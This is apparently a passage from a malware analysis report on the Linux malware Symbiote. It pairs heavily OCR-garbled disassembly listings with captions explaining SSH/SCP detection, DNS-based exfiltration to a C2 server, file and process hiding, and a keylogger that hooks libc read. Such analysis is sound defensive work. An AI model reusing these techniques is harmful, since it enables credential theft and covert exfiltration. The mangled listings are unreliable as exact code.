; } // starts at 13AC
check_proc endp
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Figure 20

The malware implements a function called check_ssh_scp. It obtains the location of an executable by calling the

readlink function with the “/proc/self/exe” parameter:

il e 5

Ltext:eepaea0000881E18

Ltext:eapaaae000081lE1S

.text: 0008000000001 E18 ; Attributes: bp-based frame
LtLext:eepbaeae000081E1E

text:e000000000801E18 check ssh_scp proc near
Jtext:eeoppapeoaaelELS

.text:86000080080881E18 buf= byte ptr -28h
.text:0000000008001E18 var_8= qword ptr -3
Ltext:eepaaa0000081E18

.text:0008000000801E18 ; _ unwind {
Ltext:B208800888881E18 push rbp

Ltext:eee0000000881LE19 mov rbp, rsp
text:e00020000080LE1C sub rsp, 2eh
.text:@080000000001E26 lea rax, path ;3 "/proc/self/exe"
Ltext: 2080002008881E27 lea rcx, [rbptbuf]
Jtext: 8e00000000801E2E mov edx, @Dh ;3 len
Ltext : 0208800008881 E30 mov rsi, rcx 3 buf
Ltext : 0800800008081 E33 mov rdi, rax ; path
.text:e008000008801E36 call _readlink
Ltext: 08800008880 LE3E mov [rbpt+var_B], rax
LtLext:0e20000000001LE3F cmp [rbptvar_8], @FFFFFFFFFFFFFFFFh
Ltext:e000000800001E44 jz short loc_ 1E4D
Ll s 55
Ltext: BEERAGEREEB81E46 cmp [rbptvar_8], @Dh
Ltext:BREEE02808881E4E jnz short loc_1ES54
Figure 21

The purpose of this function is to detect the presence of the SCP/SSH executable and returns 0 if that’s the case:
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ol b =
Ltext:eepopoooeeRelESS
.text:2008800000001E54 loc 1ES4:
text: 00000000000681E54 mov rax, [rbp+var_B]
.text:0e06000008881E58 mov [rbp+rax+buf], @
.text: 0000000008B1LESD lea rax, [rbp+buf]
Jtext:pe00888888B81ERL lea rsi, s2 3 "/usr/bin/ssh”
.text:pea000PERERE1ERS mov rdi, rax L |
.text:@000000000001E68 call _strcmp
text: epe00000000801E7E test eax, eax
text:0e00000000001E72 jz short loc_1E392
Y
Jtext:eoeoe00000881lE74 lea rax, [rbp+buf]
.text: 000000000000 1E7E lea rsi, aUsrBinscp ; "/usr/bin/scp”
.text:pe0000000000LETF mov rdi, rax S |
. text: 0000000008801EE2 call _strcmp
text:aoo0000000001E87 test eax, eax
.text:00800000008Q1E89 jz short loc_1E92
\ vy
A==
Ltext:BeeeeaaRRRR1lESE mov eax, 1 .text:eeBBBEEEEEEBA1LEI2
Jtext:eoeeeaeree801E98 jmp short locret_1E97| |.text:@060006060801E92 loc 1E92:
I .text: 80668060808881E92 mov eax, @
Figure 22

Symbiote implements the CRC32b algorithm in a function called crc32b. The algorithm can be identified using
the 0xEDB88320 constant:
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ol s =

Ltext:eopieeREEaRR2EER
text: 0a60000080002EE2 loc_ 2EE2:

ctext: 0aa8008000002EE2 mov rdx, [rbp+var_28]
Ltext:Baa80088080002EE6 mov eax, [rbpt+var_14]
Ltext:BEE200EE88BB2EEY cdge
text:2000000000802EEE lea rax, [rdxtrax]

text:2000000000002EEF movzx  eax, byte ptr [rax]
text : BBE00E8888082EF2 movx eax, al

.text:B002000000802EFS mov [rbptvar_C], eax
ctext:Ba00008000002EFE mov eax, [rbpt+var_C]
Ltext: 860008080002EFE xor [rbp+var_B8], eax
Ltext:Baa80088088002EFE mov [rbptvar_1e], 7
Ltext:Baee002880802FE5 jmp short loc_2F2A

| 'y
[l e =]
Text : oBaaRaaRaaa02 F 24
Text : eBaanaaRaaaa2 F 24 IDC_ZFEﬂ:

Jtext:2e000000008802F2A cmp [rbptvar_18], @
Jtext:2008000008802F2E jns short loc_2F@7
o ' 5
I Lol s 5]
gext:ooopooapooaa2ra’ Jtext:bopeooopeaRR2FI0
text: 0000000600002F07 loc 2F87:
Ltext: BREEEABRREBR2FRT mov eax, [rbptvar 8]
Ltext:e0e0000000002F0A and eax, 1
Ltext:eagepaaae00082FA0 neg eax
text:0e88000880002FBF mov [rbp+var_4], eax
Ltext:Be82000888002F12 mov eax, [rbpt+var_8]
Jgext:epeeaaae08882F15 mov edx, eax
Ltext: 2eEe0080008082F 17 shr edx, 1
text: 0000008000082F10 mov eax, [rbptvar 4]
text:080000068080082F1C and eax, BEDBE33328h
text : 800E000080082F21 xor eax, edx
text:0E00000060002F23 mov [rbp+var_8], eax
text:B880008880082F26 sub [rbp+var_18], 1
|
Figure 23

There is a function called create_file that can be used to create files. It calls the open method (0x441 =
O_WRONLY | O_CREAT | O_APPEND):
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il e =

Ltext:eepaaaaeeR0252C

Ltext:eappaaapaaRR252C

text: 000000000000252C ; Attributes: bp-based frame
Ltext:eappaaa0ae002520C

text:ee0000000000252C create_fTile proc near
Ltext:oopbopaoaae02520C

text:206000000000252C file= qword ptr -18h
.text:ee8000000000252C fd= dword ptr -4
Ltext:eepaeaaeeR02520C

Ltext:000800000800252C ;  unwind {
Ltext:eea8200088888252C push rbp
Ltext:fepaeae0ea082520 mov rbp, rsp
Ltext:2e00000000802538 sub rsp, 2eh
Ltext:2008200000882534 mov [rbptfile], rdi
Ltext:BE02202200882538 mov rax, [rbptfile]
Ltext : 020080000008253C mov edx, 1B&h

Ltext : 080088000008254]1 mov esi, 441h ; oflag
Ltext : 0800800000002546 mov rdi, rax ; file
SdexteBeaaeaeEE882549 mov egx, @
Ltext:BE820008888254E call _open
Ltext:2000000000882553 mov [rbp+fd], eax
Ltext:apapaee88882556 cmp [rbp+fd], @FFFFFFFFh
Ltext:2E08000088882554 jz short locret_2575
Figure 24

The process changes the permissions of a file to 0x1B6 = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP |
S_IROTH | S_IWOTH, which means that all users can read and write but cannot execute the file:

il e =
Jtext:0e0000000080255C mov eax, [rbp+fd]
Ltext : 0EEEE000080255F mov esi, 1B6h ; mode
Ltext : 0808000000802564 mov edi, eax ; fd
Ltext:0000008080082566 call _fchmed
Ltext:00800008800256E mov eax, [rbp+fd]
Ltext : 0e0880800888256E mov edi, eax » fd
.text:0008000000802578 call _close
X
Ll s =]
Jext:GaeaaapEaR882575
Ltext:ooe800000880802575 locret 2575
Jtext:epae000000802575 leave
LJtext:GREa000020882576 retn
text:0e000000008002576 ; | // starts at 252C
Ltext:00000000008002576 create_file endp
LJextBaEa082020882576
Figure 25

In the function called dns, the ELF binary retrieves the current process ID that is converted from host byte order

to network byte order using htons:
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il s 5

Ltext:eepBeaeeae282B60

LLext:eepaaae0000828686

.text: 0008000000002668 ; Attributes: bp-based frame
LLext:eapbaaeo0ae82666

Ltext:e088000088802868 dns proc near
LLext:eopoeapo0eR0266E0

.text:0000000000802868 var_248= gword ptr -248h
text:2000000008002B68 addr= sockaddr ptr -248h
Ltext:e000200008002B68 buf= byte ptr -238h
.text:008000008802B6E var_38= gqword ptr -38h
.text: 0008000000802B68 s= qword ptr -28h
Ltext:e068000088802668 var_28= qword ptr -28h
text:e08800000808002868 fd= dword ptr -14h
LLext:oopoeapo00R0266E6

Jtext:80000000600002868 ;3  unwind {
Ltext:20800880088882B68 push rbp

Jtext:eepaaae80008266C mov rbp, rsp
Ltext:p008808008882B6F push rbx
Ltext:e0080000088802678 sub rsp, 248h
Ltext:e068000888802877 mov [rbpt+var_243], rdi
Ltext:B208200088802B7E lea rax, [rbpt+buf]
Jtext:0000000000082E85 mov [rbptvar_38], rax
Ltext:20800080000082889 call _getpid

text : 6B860806888882B8E movx eax, ax

Ltext : 0e00882008882891 mov edi, eax 3 hastshort
.text:p0088000088082893 call _htons

Figure 26

The malware calls a function named ChangetoDnsNameFormat that will be explained below:
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Ltext : 0ppE800000082C28 mov edi, 1 ; hostshort
.text:op080000008802C38 call _htons
Ltext:epaeee0888802C35 mov rdx, [rbpt+var_38]
text:BeeE028888802C39 mov [rdx+4], ax
Ltext:ee00000000002C30 mov rax, [rbptvar_3@]
Ltext:8008000800002C41 mov word ptr [raxt&], @
Ltext:BRERE020080882C47 mov rax, [rbptvar_38]
Ltext:BREREA20B0B82C4E mov word ptr [raxt8], @
Ltext:epe8000688002C51 mov rax, [rbptvar_38]
Ltext:epe8s00888002C55 mov word ptr [rax+esh], @
Ltext:epaeeeeaa8802C58 lea rax, [rbpt+buf]
Jtext:eepeaaReeeR02C62 add rax, 8Ch
Ltext:ee00000000002C606 mov [rbpt+s], rax

Ltext: 8208000800002C64 mov rdx, [rbptvar_ 243]
.text: BREE8628686802C71 mov rax, [rbp+s]

Jtext: 0ea00888008802C75 mov rsi, rdx

Ltext : 0pRE880008882CTE mov rdi, rax
.text:ep080000088082C78 call ChangetoDnsNameFormat
Ltext:epaeeeeaa8802C58 mov rax, [rbp+s]

Jtext: eeae0e0000802C34 mov rdi, rax HE
Ltext:eeoeee00000020387 call _strlen
Ltext:ee08000000002C38C lea rdx, [rax+aDh]
Ltext:BREEE02000002098 lea rax, [rbptbuf]
Jtext:eeppeaRee8882C97 add rax, rdx

Ltext: 0000638002094 mov [rbp+var_28], rax
Ltext : 4pp8880000082C9E mov edi, 1 ; hostshort
Ltext:epaaeee288882CA3 call _htons
Ltext:BBEEERREE8802CAE mov rdx, [rbp+var_28]
Ltext:ee00000000002CAC mov [rdx], ax

.text : 08BEE80000802CAF mov edi, 1 ; hostshort
.text:BRE2802000082C84 call _htons
Figure 27

The malicious process creates a socket that will be used to communicate with the C2 server (0x2 = AF_INET,
0x2 = SOCK_DGRAM, 0x11 = IPPROTO_UDP). The C2 server address is converted from dotted decimal

notation to an integer using the inet_addr method:

Ltext:ee00000000002CE9 mov rdx, [rbptvar_28@]
text:e008000800002CE0 mov [rdx+2], ax

.text : 08080808600802CC1 mov edx, 1lh ; protocol
LfexteeapaaReee882CC mov esi, 2 ; type
Ltext : 0pRE880088882CCE mov edi, 2 ; domain
.text:epoe0000080802C08 call _socket
.text:eaeee00888002C05 mov [rbp+fd], eax
text:Beeee20888002C08 mov [rbptaddr.sa_family], 2
text : 0eEEE0800882CEL mov edi, 35h ; 's' ; hostshort
.text:epeee00000002CE6 call _htons
Ltext:8208000800002CEE mov word ptr [rbptaddr.sa_data], ax
Jtext : 60208000000682CF2 lea rdi, dnserver ; Cp
Ltext:e00080800002CF3 call _inet_addr
Figure 28

The sendto function is utilized to send data to the C2 server:
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.text:0e800000080002CFE mov dword ptr [rbp+addr.sa_datat+2], eax
Ltext:epeeee0068802084 lea rax, [rbpt+addr]

LText: esaaaa000880208E8 mov ebx, @

Ltext : 0epE8800080820168 mov rbx, rax
text:eeeee20888002013 mov rax, [rbp+s]

text : 08p00000800802017 mov rdi, rax g
text:eeo80000000602014 call _strlen

.text: BREEE0800680201F lea rdx, [rax+1lh] ; n
Ltext:eeee020808002023 lea rsi, [rbptbuf] ; buf
Ltext:epe8000628002024A mov eax, [rbp+fd]

Ltext : AppE888080082020 mov rad, 1@h ; addr_len
Ltext : 0ppeaa0088082033 mov rg, rbx ; addr
Jtext: eeee080000802036 mov eCx, @ ; Tlags
text: 08p000000080203E mov edi, eax : fd
text:eee80000000602030 call _sendto
Ltext:BpEEE02000002042 add rsp, 248h
Lfext:Geapaae8882049 pop rbx
Ltext:eeae200200882048 leave

Ltext:espaaaae00820468 retn

Ltext:epaeeeopaaee2l4E ; } // starts at 2B6B
Ltext:eeeee0888880204E dns endp

JStLext: epaaaapapeaa 2l

Figure 29

The function called ChangetoDnsNameFormat prepares the structure of the request for DNS data exfiltration:

text: 0EREEAERAEAA2ABA ChangetoDnsNameFormat proc near
Ltext:B886888888882ABA

.text:0000000008002ABA s= qword ptr -38h
.text:a000000008002ABA var_28= qword ptr -28h
.text:0000000000002ABA var_18= dword ptr -13h
Ltext:0000000000002ABA var_l4= dword ptr -14h
text:0000022000002ABA

.text:000000000080024BA ; _ unwind {

. text:0900000008002ABA push rbp

Ltext:aeeoe28808882AB8 mov rbp, rsp
. text: 8900008888882ABE push rbx
. text: 82600086808882ABF sub rsp, 28h
text: GRBRABAARABAA2ACS mov [rbptvar_28], rdi
Ltext:ABEREREREABAZACT mov [rbp+s], rsi
L text:00600080008802ACE mov [rbp+var_18], @
text:00000080068002AD2 mov [rbp+var_14], @
Jtext:0000008000002AD9 jmp short loc_2B3D
X
Ll s =
.text:eeaaa00888882B30
.text:000000080080283D0 loc_2B3D:
Jtext:0002000000802830 mov eax, [rbptvar_14]
Ltext:pee0000000002840 movsxd rbx, eax
Jtext:0002000000802843 mov rax, [rbp+s]
.text:0000000000002847 mov rdi, rax B
.text:000000000000284A call _strlen
Ltext: H0ERER0PERAB2BAF add rax, 1
text:ppaaa0888882B53 cmp rbx, rax
.text:080086886888802856 jb short loc_2ADB
= ' -
FIEE FIZE
.text:00000000800002AD8 .text:0000000000082858 mov rax, [rbp+var_28]
.text: 0600000000802ADB loc_2ADB: .text : 690000008888285C mov byte ptr [rax], @
. text : 66600000008682AD8 mov eax, [rbptvar_14] Jtext: 620000008808285F add [rbp+var_28], 1
.text:BEE2B6088082ADE cdge Jtext:0200002000082B64 add rsp, 28h
text:2E02000020082AE8 add rax, [rbpt+s] Ltext:00000080088082B68 pop rbx
.text:0000000000002AE4 movix  eax, byte ptr [rax]| |.text:0080000080002569 leave
.text:00020000008024E7 cmp al, ZEh ; ".° Ltext:peE8088888882B6A retn
ctext:00208000008024E9 2 short loc_2AFB Jtext:0eap000000000266A ; ; // starts at 2ABA
T text: 2B6A ChangetcDnsNameFormat endp
Jtext:oaoepooe000026860A
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In the function named getaddrlist, the ELF binary extracts a linked list of structures containing the network

interfaces of the local machine using the getifaddrs method:

il e 5=

Ctext : BEEEEEEEEEE02F 448

Jtext:aeaeaeaeaeae2F4A

text : 0BODOBBBBOOO2F4A ; Attributes: bp-based frame

Jtext:apeapeape0002F 44

.text:00000600000002F44 getaddrlist proc near

Jext:eepepopeaeRe2ZF4A

.text:0BeBOBARARE02F4A Tlags= dword ptr -258h

text:epe0000080002F4A ifap= qword ptr -238h

.text:0000000000002F4A s= byte ptr -238h

text:0pe0000000002F44 dest= qword ptr -28h

text:epepeeaeaeee2F4A var_28= dword ptr -28h

. text : 0RE000RBB60682F4A var 1C= dword ptr -1Ch

.text:0000000000002F4A var_13= qword ptr -18h

Jext:pepeReRERRRRZFAA

text:eRepeRaeeeee2F4s ; _ unwind {

Ltext:2000008000802F44 push rbp

Jext:aegeaeaeaeae2F4E mov rbp, rsp

.text:pBeRepaRaRae2F4E push rbx

text:eBeRe00008802F4F sub rsp, 243h

Ltext : pe0epeReRRRR2FSE lea rdi, s HC

text:eae0000002002F50 call _strdup

.text:BBeBeBARARER2FE2 mov [rbpt+dest], rax

text : 0B00000000062F6E cmp [rbp+dest], @

.text:8080000008002F6E jnz short loc_2F77

Y
text : 6AEAEAE000002F77
text:0B60000680082F77 loc_2F77:
text:E2EE00008R02F77 lea rax, [rbpt+ifap]
text: 0000000000002F7E mov rdi, rax ; ifap
text:8800080800002F81 call _getifaddrs
text:0RERRRRERERRLFEE cmp eax, OFFFFFFFFh
text:000000000882F39 jnz short loc_2F94
Figure 31

Based on the structures extracted above, the process extracts the IP addresses by calling the getnameinfo function:

Ll s 5=

.text:BEE80688280888382F

Ltext:e00000000000302F loc_3B2F:

Ltext:epe80000230003082F mov rdx, [rbptvar_18]

Ltext: 0800088003833 mov rdx, [rdx+18h]

text : 08pE800000083837 mov rdi, rdx ; sa
Ltext:EREEEEREEEER383A mov [rsp+258h+flags], 1 ; flags
text: 0800000000003841 mov rod, @ ; servlen
SLext: ee0080800803847 mov réd, @ ; Serv
.text : 08BE080800803840 mov rdx, rax ; host
.text: 0EBEE20800803850 mov esi, ebx ; salen
Ltext:eREe0200080083052 call _getnameinfo

Text: eaa0aR0888823057 test eax, eax
Ltext:epess00088803859 jnz short loc_38CF

Figure 32

The interfaces IP addresses are concatenated together using the strcat method:
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[ s =

.text:008000000000385E mov rax, [rbptdest]

Ltext : 060000000000305F mov rdi, rax =

.text:oeepe0a8800083062 call _strlen

text : 0800800000003067 mov rbx, rax

Jtext:pooaeoee0e003064 lea rax, [rbp+s]

Ltext : 0866020000883071 mov rdi, rax ; S

Ltext:B002082000003874 call _strlen

Ltext:poeEE222082083879 lea rax, [rbxrax)]

.text:000000000000836870 lea rdx, [rax+2]

Ltext:080000088003851 mov rax, [rbp+dest]

text:eeaee00088830885 mov rsi, rdx ; size

Jtext : 0000000000083088 mov rdi, rax 5 pEr

Jtext:@000008000003038 call _realloc

Ltext:2008200200883098 mov [rbp+dest], rax

Jtext:BEEEGE22088283894 cmp [rbptdest], @

Ltewt:B022008222283099 jz short loc_30ES

¥ ‘ [

FIEE

IBBEERB3BES .text:060000000000380E lea rdx, [rbp+s]

IDBBOVB3BES loc_3PESR:| |.text:00a800080880030A2 mov rax, [rbp+dest]

IBEEBBB3BEE nop Ltext: A00R0000008830A6 mov rsi, rdx ; Src
text: A0ER0000088830A9 mov rdi, rax ; dest
text:a0000000008030AC call _strcat
Ltext : 600000200006838E1 lea rdx, src e
Jtext:BE20002008083888 mov rax, [rbptdest]
Ltext : 08a08820008830BC mov rsi, rdx ; src
Ltext: A8020000008838BF mov rdi, rax ; dest
.text:88000008000038C2 call _strecat
.text:aeeppRaa800038CT7 jmp short loc_380D8

Figure 33

In the getserver function, the malicious binary tries to open a file called “/tmp/resolv.conf”:
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e 5

Ltext:ep@aaaaoapaa208l

LtLext:appaaaaaapa2981

.text:o00e00000008029081 ; Attributes: bp-based frame
JtLext:eppaaaeaapaa2981

text:opp0000000002901 getserver proc near
Ltext:epgbaaeoapaa2981

.text:068006800002001 n= qword ptr -28h
Ltext:e0000000008002901 haystack= qword ptr -28h
Ltext: 0000008802081 stream= qword ptr -18h
.text:eboa000088802981 var C= dword ptr -BCh
Ltext:epaeee0ea8802981 var_ 8= dword ptr -8
.text:oaeee00088002981 var_4= dword ptr -4
tLext:opgooapoopaa2oal

Ltext:eec8000000062981 ;3  unwind {
Ltext:epeeE00080082981 push rbp
Ltext:epEREREEEEE82982 mov rbp, rsp
Ltext:RE8000068802985 sub rsp, 38h
Ltext:appeeaEARRE2989 lea rax, assds ; "B.8.8.8"
LJext:eeeseeaaeea82918 mov edx, 8 5 m
Text:eeeaeeaa08802915 mov rsi, rax 3 Src
text:ee00000000002918 lea rdi, dnserver ; dest
text:e00800000000291F call _memcpy
.text:08BRE0000800682924 lea rsi, modes o e
Ltext:eeE0020008002028 lea rdi, filename "ftmp/resolv. conf”
Ltext:eR00800008882932 call _fopen
Ltext:epe8s00888002937 mov [rbp+stream], rax
Ltext:epaeseeaa8882938 cmp [rbp+stream], @
Ltext:epaeeeRaREER2948 2 loc_2AB7
Figure 34

The malware is looking for a nameserver in the above file. If there is no nameserver, then the process will use the
Google DNS server (8.8.8.8) to send the DNS request as a UDP broadcast:

10000000000802ATD

.text:8008888888R82ATD loc_2A7D: 3 stream
.text:0000000000002A7D mov rdx, [rbp+stream]
.text:0000E00000082A81 lea rcx, [rbp+n]

. text:0000000000002A85 lea rax, [rbp+haystack]

. text:2000000000002A89 mov rsi, rcx : B

. text : 90PBOL0RBBBA2ABLC mov rdi, rax ; lineptr

.text:0000000000002A8F call _getline
. text: 0000000000002A94 test rax, rax
. text:0000000000002A97 jg loc_2958B
¥
text: BBEBEHBOOHHH2I5E
.text:BEEEEBOO00002955 loc_205B:

.text:eB600000000@2958
.text:eo0e0BRBEREE2I5F
.text:0000000000002966
text: #0EEREER00082969
.text:@060EEE00000296E
.text:eeeEEEERRRRE2972
.text:eoeepBRBEBEE29T5

mov
lea
mov
call
mov
cmp
jnz

rax, [rbpt+haystack]
rsi, aNameserver ;
rdi, rax ; haystack
_strstr

rdx, [rbp+haystack]

rax, rdx

loc_2A7D

"nameserver”

5 h J
M
.text:@060880000882978 mov [rbptvar_C], @A&h
.text:0000000000002982 jmp short loc_ 2988

Figure 35

The process compares two strings (file names) in the hidden_file function and returns 0 if they match:
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text:00000000000168C hidden_file proc near
Ctext:pepapaRaRaRa16aC
.text:e00000000000168C s1= qword ptr -18h
text: 0000600000008168C var 4= dword ptr -4
Jext:pepepapapape loac
text:000000000000168C ;  unwind {
ctext:208000000088168C push rbp

text: peeeea0R8888168D0 mov rbp, rsp
.text:20060000000081618 sub rsp, 28h
text:eeee0000800801614 mov [rbp+s1], rdi
.text:p002680600081618 mov [rbptvar 4], @
.text:pa0000000080161F jmp short loc_1658

'z

FIE
Jtext: epeaoaaa20001658
text: 2e00200000001650 loc_1658:
.text:80060000080801658 mov edx, [rbp+var_4]
text:p000000080801653 mov rax, cs:fth_ptr
Ltext : pepepeneReRelesA movsxd rdx, edx
.text:B00000008080165D mov rax, [raxt+rdx*s]
text:e00068000801661 test rax, rax
.text:B000000000801664 jnz short loc_1621
_ . J
FFE
JText: eaea000000881621
text:0e00000000001621 loc_1621:
Ltext:0000000000001621 mov edx, [rbptvar_4]
Ltext: BE0E0RARABERLE24 mov rax, cs:fth_ptr
Jtext : pepeReReRRaR1628 movsxd rdx, edx
text: Ba000B000000162E mov rdx, [rax+rdx*s]
text: 6000608008661632 mov rax, [rbp+sil]
Jtext : pepepenenasels3s mov rsi, rdx ; 52
Jext : pepepenenasels39 mov rdi, rax ; sl
Ltext:B00000000080163C call _strcmp
LJSextieeeepee200001641 test eax, eax
Ltext:20060000000801643 jnz short loc_164C
3 ' 3 ' 3
Ll e =] bl e 5= [l =
LJLextieeeee802088081645 mov eax, @ Text:eeeeeeea80881666 mov eax, 1lj |.text

Figure 36

The hidden_proc function expects a process ID as an argument. It calls the strspn and strlen functions in order to

ensure that the process ID consists of digits only:
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ol e =

Ltext:oepaeaaooepal442
Ltext:eappeaeoaapalddz
Ltext:oopaoopoanalads
Ltext:oopbaaaoaaal442
Ltext:oopboopooopaldd2
Ltext:oopboooooaealdd2
Jtext:boepoopRoEE01442
Ltext:oeopbeoooaaRRl442
Ltext:oepaeaaoaea1442
Ltext:eappaaeoaapalddz
LtLext:ooppeooooonalddz

Attributes:
hidden_proc proc near

s= qword ptr -148h
n= qword ptr -148h
lineptr= gword ptr -138h
filename= byte ptr -13Bh
stream=

bp-based frame

gword ptr -28h
gword ptr -28h
dword ptr -14h

Ltext:eeppeaaoaaal442
Ltext:oopboopooopaldd2
Ltext:opbooeoooealdd2
Jtext:boepoopRoE201442

var_28=
var_l4=

; __ unwind {

Ltext:2E02000200001442 push rbp
Ltext:oepaeaeoeee8144s mov rbp, rsp
ctext:B008000008801446 push rbx
Ltext:eeaepeEREE801447 sub rsp, l4sh

Ltext: 228800008888 144E mov [rbp+s], rdi
text:2000000000881455 mov rax, [rbp+s]
Ltext:000800000800145C lea rsi, accept "8123455739"
Ltext : 66060608080081463 mov rdi, rax ; S
Ltext:2e08000000001466 call _strspn

Text : eEeaEE00688146E mov rbx, rax
text:008000008800146E mov rax, [rbp+s]

Ltext : 060000000000 1475 mov rdi, rax HEE
Ltext:oeaeeeeR88801478 call _strlen
Ltext:oopooopoaeaald’D cmp rbx, rax
Ltext:eeo8000000001480 jz short loc_ 148C

Figure 37

The ELF binary retrieves information about a process from the “/proc/<pid>/status” file, as shown in figure 38.

] i 5=

Ltext:EBRee2882208145C

Ltext:000000000000148C loc_148C:

.text:p0epRaEEEBRR148C lea rdx, aProcsstatus ; “/proc/%s/status”

ctext:0000000000001493 mov rcx, [rbp+s]

.text:0ee0000000001494 lea rax, [rbp+filename]

.text:B08006008080814A1 mov esi, 186h 3 maxlen

Ltext: eeeERE00080814A6 mov rdi, rax i

.text:600000008008014A9 mov eax, @

Jtext:00000008000014AE call _snprintf

.text:epepRaeERRE14E3 lea rdx, modes A o

.text:00000000000014BA lea rax, [rbp+filename]

text:p0e00000800814C1 mov rsi, rdx ; modes

.text:s0800608880814C4 mov rdi, rax ; Tilename

Ltext:00000000000014C7 call _fopen

.text:202000000000814CC mov [rbp+stream], rax

.text:0000000000001408 cmp [rbpt+stream], @

.text:0e000008000014D5 jnz short loc_14E1

- y

FMEIE
Ltext:abeReRE208814E1
text:@0002000080014E1 loc_14E1:
-text:@a006000080014E1 mov [rbp+lineptr], @
text:00000000080014EC mov [rbptn], @
.text:00000000008014F7 mov rdx, [rbp+stream] ; stream
-text:@0000000000014FE lea rex, [rbp+n]
.text:ee0e000008001502 lea rax, [rbp+lineptr]
.text: aaaae222028015089 mowv rsi, rcx H
Jtext : 600000008008158C mov rdi, rax ; lineptr
-text:@02060000000150F call _getline
-text:@000000008001514 mov [rbptvar_28], rax
.text:@e0e000008001518 cmp [rbptvar_2e], 7
-text:@200000000201510 jg short loc_1544
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Figure 38

The purpose of this function is to compare two process names and to return 0 if they match (see figure 39).
Symbiote’s objective is to hide some processes that are related to the malware such as: certbotx64, certbotx86,

javautils, javaserverx64, javaclientex64, javanodex86 (BlackBerry’s article).

28 ]

ol s =
text:00e00000000015CC
. text:00020000000015CC loc 15CC:

. text :00ROOBABEERR1SCC mov edx, [rbp+var_14]
. text :00A0DRAGBARISCF mov rax, cs:pth_ptr
. text :0POOGEABOPRA1SD6 movsxd rdx, edx
. text :00R0GBABEERR15D9 mov rax, [rax+rdx*8]
.text:0000000B0PRA1SDD test  rax, rax
. text :000B0DRAORARISED jnz short loc_1578
_ h J
il =
-text:0200000080081578
-text:0200000880001578 loc_1578:
.text:0200000880001578 mov edx, [rbp+var_14]
-text:020000088000157E mov rax, cs:pth_ptr
-text:0BG0A00BB00R1SES movsxd rdx, edx
.text :9B000008BGGA15EE mov rax, [raxtrdx*s]
- text:836BBG08800R158C mov rdx, [rbp+lineptr]
-text:@G00800080001593 add rdx, &
- text:9B68BG0880081597 mov rsi, rax 5 s2
-text:BBGRARBAEARORISIA mov rdi, rdx 5 sl
.text:000000080000159D call  _strcmp
.text:0A00A00BA00AISA? test  eax, eax
.text:0AGAAARAEARRRISAS jnz short loc_15C8
FIEIE] FIEIE] il e =
. text:@8800008BGBR1SAE mov rax, [rbp+lineptr] .text:08880000BBGRLSE2 mov rax, [rbp+lineptr] -text:0B00RREEEE0R1SCE
-text:B@eRREEBRERRLSAD mov rdi, rax ; ptr -text:0@0BRREEBBERISED mov rdi, rax 3 ptr -text:BBGERRBRBBORISCE loc_15CE:
.text:00000000000015E0 call  _free -text:0@0BO00BB00RISEC call  _free - text:0B00RRERBEORISCE add [rbp+var_14], 1
.text:@880000RBGBR1SES mov rax, [rbpt+stream] - text :000BRREERBORLSFL mov rax, [rbpt+stream]
.text:@880000RBGRA1SED mov rdi, rax ; stream| |.text:@88800088B0R15FS mov rdi, rax ; stream
-text:0@00000000001SEC call  _fclose -text:0@0B0000000015FE call  _fclose
-text:B@0RREEBRERRISCL mov eax, @ - text :0000R80BB00RLSFD mov eax, 1
-text:000RREERRORRLSCE jmp short loc_1682

Figure 39

The dlsym function is utilized to obtain the address of the read method. If an SSH or SCP process is calling the

libc read function, then hook_read is set to keylogger, which is explained below:
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il s =

Ltext:eseeopeeRBE81FCE

LLext:pepeseaeeeealrce

.text:0000000000001FC6 ; Attributes: bp-based frame
Ltext:eepaaaaaaaaalrce

.text:0000080000001FC6 init_method proc near
Ltext:0008080000001FC6 ; _ unwind {
Jtext:aeeaeeae82801FCe push rbp

Ltext:0600000000001FCT mov rbp, rsp

Ltext: pepeseneRaRalFCA lea rax, aRead_@ ;3 "read”
text:eeea000000021F01 mov rsi, rax ; name
.text:ee000000068001FD4 mov rdi, BFFFFFFFFFFFFFFFFh ; handle
.text:0000000000001FDB call _dlsym

.text:0000000000001FE® mov cs:orig read, rax
Sext:eeeee20000881FET mov eax, @

.text:0000080888801FEC call check_ssh_scp
.text: 0000000000001 FF1 test eax, eax

.text:0000000000001FF3 jz short loc_2e85
¥ ; L
LLext:peaeaese88881FFS mov rax, cs:orig_read| |.text:002080800080020085
.text:0008080880081FFC mov cs:hook_read, rax| |.text:0e000808000002085 loc_2005:
Jtext:oeopoe0000002003 jmp short locret_2013| |.text:8000000000002005 lea rax, keylogger
Ltext:00000822800002000 mov cs:hook_read, rax
|

Jtext:eeeeoaaRRERE2813
.text:0000080000002013 locret_2@13:
Ltext:eeepepoeeaen2els leave
Ctext:pepaaaasasas2ald retn
.text:efpeoRRARRAB2814 ; } // starts at 1FC6
.text:0000080000002014 init_method endp
Jtext:pepepepeeoeezels

Figure 40

In the keylogger function, the process calls the original read function with a file descriptor corresponding to SSH
or SCP. It also performs a call to the isatty method in order to ensure that the file descriptor is referring to a

terminal:
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Lol s =]

Ltext:eepBeaeea2281EF0

Ltext:aepaaae0002881EF9

.text: 00080000080016F9 ; Attributes: bp-based frame
Ltext:eapbaaeoaaealBrF9

Ltext:e0e8000088801EF9 keylogger proc near
tLext:oopooeaeoeealBFo

.text:0600008000081BF9 var 68= qword ptr -68h
.text:00600000008001BF9 var 68= qword ptr -68h
.text:e0002000008001BF9 fd= dword ptr -54h

.text: 00800000880 1EFY var_48= gqword ptr -48h
.text: 000800000880 1EF9 var_48= gqword ptr -48h
Ltext: 06800008880 1EF9 var_38= qword ptr -38h
.text:e088000088801EF9 s= qword ptr -38h
text:0000000000801BF9 size= qword ptr -28h
.text:06000008000081BF9 var 28= qword ptr -28h
.text:00600000808001BF9 var_18= qword ptr -18h
Ctext:oepBeaeea2281EF0

.text:e0080000080801BF9 ;  unwind {

.text: 000800000880 16F9 push rbp

Ltext: 206800008880 1BFA mov rbp, rsp

Ltext: 22880008888 1BFD push rbx
Ltext:2000000000801BFE sub rsp, G8h
Ltext:0000200800801C82 mov [rbp+fd], edi
Ltext:0E082062068801C85 mov [rbptvar_&8], rsi
Ltext:eE002022008801C09 mov [rbptvar_68], rdx
Ltext:e008000088001C80 mov rax, cs:orig_read
Ltext: 0680000880010 14 mov rdx, [rbp+var_ B8]
Ltext:ee68000088001C18 mov rbx, [rbptvar_se]
Ltext:e0e8000888001LC1C mov ecx, [rbp+fd]
text : 0000000000001 C1F mov rsi, rbx

Jtext : 6006060808801C22 mov edi, ecx
Ltext:2000000008001C24 call rax ; orig_read
Ltext:E002088008801C26 mov [rbptvar_48], rax
